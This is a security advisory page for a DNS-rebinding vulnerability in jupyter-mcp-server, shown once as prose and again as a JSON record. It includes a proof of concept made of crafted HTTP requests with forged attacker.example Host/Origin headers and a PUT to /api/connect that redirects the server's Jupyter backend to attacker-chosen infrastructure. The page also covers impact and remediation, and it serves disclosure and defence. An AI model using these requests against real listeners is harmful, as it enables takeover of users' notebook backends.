GHSA-9X8X-CRJQ-G64H

Vulnerability from github – Published: 2026-11-20 00:12 – Updated: 2026-11-20 00:12
VLAI
Summary
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
Details

Standalone streamable-http mode in datalayer/jupyter-mcp-server rejects forged Host and Origin headers on /mcp, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to 127.0.0.1 or a private target address, then send PUT /api/connect to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.

The protected /mcp endpoint shows the intended browser-origin boundary. With MCP_TOKEN configured, /mcp rejects forged browser headers:

POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header

The vulnerable route is jupyter_mcp_server/server.py:143-187. It parses caller JSON, updates the active Jupyter backend configuration, resets ServerContext, and starts the kernel without applying the /mcp Host/Origin rejection to the custom route:

@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

/api/stop is also state-changing and accepts the same browser-origin route shape:

# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Proof of concept

Run the affected version with MCP_TOKEN configured:

git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

First, show that /mcp rejects the browser-shaped request:

POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Observed response:

HTTP/1.1 421
Invalid Host header

Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to 127.0.0.1 or the private MCP listener:

PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}

Observed response:

HTTP/1.1 200 OK
content-type: application/json

{"success":true}

The server log shows that /api/connect accepted the attacker-chosen backend despite the browser-origin headers:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

When an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND

Impact

The protected /mcp endpoint rejects forged Host and Origin values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

Why this is a vulnerability, not intended behavior

  • This is not a generic claim that /mcp lacks Host validation. /mcp rejects the forged Host replay with HTTP 421 Invalid Host header.
  • This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
  • This is not only a broad-bind issue. The default 0.0.0.0 bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to /mcp.

Remediation

Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:

  1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
  2. Require the MCP_TOKEN bearer token on /api/connect, /api/stop, /api/healthz, and any future custom route that reads or changes server state.
  3. Bind standalone HTTP to 127.0.0.1 by default, and require an explicit host allowlist for non-loopback listeners.
  4. Add regression tests proving that /api/connect and /api/stop reject forged browser Host and Origin headers.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T00:12:51Z",
    "nvd_published_at": "2026-11-19T17:18:59Z",
    "severity": "CRITICAL"
  },
  "details": "Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` rejects forged `Host` and `Origin` headers on `/mcp`, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to `127.0.0.1` or a private target address, then send `PUT /api/connect` to replace the MCP server\u0027s active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.\n\nThe protected `/mcp` endpoint shows the intended browser-origin boundary. With `MCP_TOKEN` configured, `/mcp` rejects forged browser headers:\n\n```text\nPOST /mcp with Authorization: Bearer SCAN_MCP_TOKEN\nHost: attacker.example:8142\nOrigin: http://attacker.example:8142\n\nHTTP 421 Invalid Host header\n```\n\nThe vulnerable route is `jupyter_mcp_server/server.py:143-187`. It parses caller JSON, updates the active Jupyter backend configuration, resets `ServerContext`, and starts the kernel without applying the `/mcp` Host/Origin rejection to the custom route:\n\n```python\n@mcp.custom_route(\"/api/connect\", [\"PUT\"])\nasync def connect(request: Request):\n    data = await request.json()\n\n    document_runtime = DocumentRuntime(**data)\n\n    set_config(\n        provider=document_runtime.provider,\n        runtime_url=document_runtime.runtime_url,\n        runtime_id=document_runtime.runtime_id,\n        runtime_token=document_runtime.runtime_token,\n        document_url=document_runtime.document_url,\n        document_id=document_runtime.document_id,\n        document_token=document_runtime.document_token,\n        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or \"notebook_run-all-cells,notebook_get-selected-cell\"\n    )\n\n    ServerContext.reset()\n\n    try:\n        __start_kernel()\n        return JSONResponse({\"success\": True})\n```\n\n`/api/stop` is also state-changing and accepts the same browser-origin route shape:\n\n```python\n# jupyter_mcp_server/server.py:190-199\n@mcp.custom_route(\"/api/stop\", [\"DELETE\"])\nasync def stop(request: Request):\n    try:\n        current_notebook = notebook_manager.get_current_notebook() or \"default\"\n        if current_notebook in notebook_manager:\n            notebook_manager.remove_notebook(current_notebook)\n        return JSONResponse({\"success\": True})\n```\n\n## Proof of concept\n\nRun the affected version with `MCP_TOKEN` configured:\n\n```bash\ngit clone https://github.com/datalayer/jupyter-mcp-server\ncd jupyter-mcp-server\ngit checkout 27b91e551d8bbca2da32c334f9f13267290ff815\npython3.12 -m venv .venv\n. .venv/bin/activate\npython -m pip install -e .\nMCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \\\n  --transport streamable-http \\\n  --start-new-runtime false \\\n  --jupyterlab false \\\n  --mcp-token SCAN_MCP_TOKEN \\\n  --port 8083\n```\n\nFirst, show that `/mcp` rejects the browser-shaped request:\n\n```http\nPOST /mcp HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nAuthorization: Bearer SCAN_MCP_TOKEN\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{}}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 421\nInvalid Host header\n```\n\nNow send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to `127.0.0.1` or the private MCP listener:\n\n```http\nPUT /api/connect HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nContent-Type: application/json\n\n{\n  \"provider\": \"jupyter\",\n  \"runtime_url\": \"http://127.0.0.1:9183\",\n  \"runtime_id\": \"\",\n  \"runtime_token\": \"ATTACKER_TOKEN_REBIND\",\n  \"document_url\": \"http://127.0.0.1:9183\",\n  \"document_id\": \"demo.ipynb\",\n  \"document_token\": \"ATTACKER_TOKEN_REBIND\"\n}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: application/json\n\n{\"success\":true}\n```\n\nThe server log shows that `/api/connect` accepted the attacker-chosen backend despite the browser-origin headers:\n\n```text\nConnect endpoint received - runtime_url: \u0027http://127.0.0.1:9183\u0027,\ndocument_url: \u0027http://127.0.0.1:9183\u0027, provider: jupyter\nStarting the kernel client...\nDefault notebook kernel started successfully\n```\n\nWhen an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:\n\n```text\nPOST /api/kernels\nAuthorization: Bearer ATTACKER_TOKEN_REBIND\n\nGET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND\n```\n\n## Impact\n\nThe protected `/mcp` endpoint rejects forged `Host` and `Origin` values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim\u0027s browser, stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.\n\n## Why this is a vulnerability, not intended behavior\n\n- This is not a generic claim that `/mcp` lacks Host validation. `/mcp` rejects the forged Host replay with `HTTP 421 Invalid Host header`.\n- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.\n- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to `/mcp`.\n\n## Remediation\n\nApply the same browser-origin security policy to every route mounted on the standalone HTTP app:\n\n1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.\n2. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.\n3. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.\n4. Add regression tests proving that `/api/connect` and `/api/stop` reject forged browser `Host` and `Origin` headers.",
  "id": "GHSA-9x8x-crjq-g64h",
  "modified": "2026-11-20T00:12:51Z",
  "published": "2026-11-20T00:12:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/pull/262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/datalayer/jupyter-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…